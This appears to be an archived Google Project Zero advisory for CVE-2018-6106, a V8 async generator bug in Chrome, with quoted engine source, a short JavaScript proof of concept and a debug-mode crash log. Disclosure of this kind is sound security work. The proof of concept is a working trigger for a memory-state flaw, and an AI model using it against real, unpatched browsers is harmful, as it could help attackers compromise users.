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Google Chrome V8 AwaitedPromise Update Bug

Google Chrome V8 AwaitedPromise Update Bug
Posted Apr 26, 2018
Authored by Google Security Research, lokihardt

Google Chrome V8 Await methods call ResolveNativePromise which calls InternalResolvePromise which can invoke a user JavaScript code through a "then" getter. If the AwaitedPromise is replaced by the user script, the AwaitedPromise will be immediately overwritten after the call to Await, this may lead the generator to an incorrect state.

tags | exploit, javascript
advisories | CVE-2018-6106
MD5 | eb56f2216b0ca1318d166d23fcad7b4c

Google Chrome V8 AwaitedPromise Update Bug

Change Mirror Download
Chrome: V8: AwaitedPromise update bug 

CVE-2018-6106


Here's a snippet of AsyncGeneratorReturn. (<a href="https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-async-generator-gen.cc?rcl=bcd1365cf7fac0d7897c43b377c143aae2d22f92&l=650" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-async-generator-gen.cc?rcl=bcd1365cf7fac0d7897c43b377c143aae2d22f92&l=650</a>)

Node* const context = Parameter(Descriptor::kContext);
Node* const outer_promise = LoadPromiseFromAsyncGeneratorRequest(req);
Node* const promise =
Await(context, generator, value, outer_promise, AwaitContext::kLength,
init_closure_context, var_on_resolve.value(), var_on_reject.value(),
is_caught);

CSA_SLOW_ASSERT(this, IsGeneratorNotSuspendedForAwait(generator));
StoreObjectField(generator, JSAsyncGeneratorObject::kAwaitedPromiseOffset,
promise);

The Await methods calls ResolveNativePromise which calls InternalResolvePromise which can invoke a user JavaScript code through a "then" getter. If the AwaitedPromise is replaced by the user script, the AwaitedPromise will be immediately overwritten after the call to Await, this may lead the generator to an incorrect state.

PoC:
async function* asyncGenerator() {
}

let gen = asyncGenerator();
gen.return({
get then() {
delete this.then;

gen.next();
}
});

Log in debug mode:
abort: CSA_ASSERT failed: IsNotUndefined(request) [../../src/builtins/builtins-async-generator-gen.cc:328]


==== JS stack trace =========================================

Security context: 0x2b29083a3a71 <JSObject>#0#
2: /* anonymous */(this=0x19b7b0603721 <JSGlobal Object>#1#,0x19b7b060d139 <Object map = 0x189055388c91>#2#)

==== Details ================================================

[2]: /* anonymous */(this=0x19b7b0603721 <JSGlobal Object>#1#,0x19b7b060d139 <Object map = 0x189055388c91>#2#) {
// optimized frame
--------- s o u r c e c o d e ---------
<No Source>
-----------------------------------------
}
==== Key ============================================

#0# 0x2b29083a3a71: 0x2b29083a3a71 <JSObject>
#1# 0x19b7b0603721: 0x19b7b0603721 <JSGlobal Object>
#2# 0x19b7b060d139: 0x19b7b060d139 <Object map = 0x189055388c91>
=====================

Received signal 4 ILL_ILLOPN 7fb143ae2781

==== C stack trace ===============================

[0x7fb143ae643e]
[0x7fb143ae6395]
[0x7fb1436ce390]
[0x7fb143ae2781]
[0x7fb1430f23ae]
[0x7fb1430f1ef7]
[0x1c8e08204384]
[end of stack trace]
Illegal instruction

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

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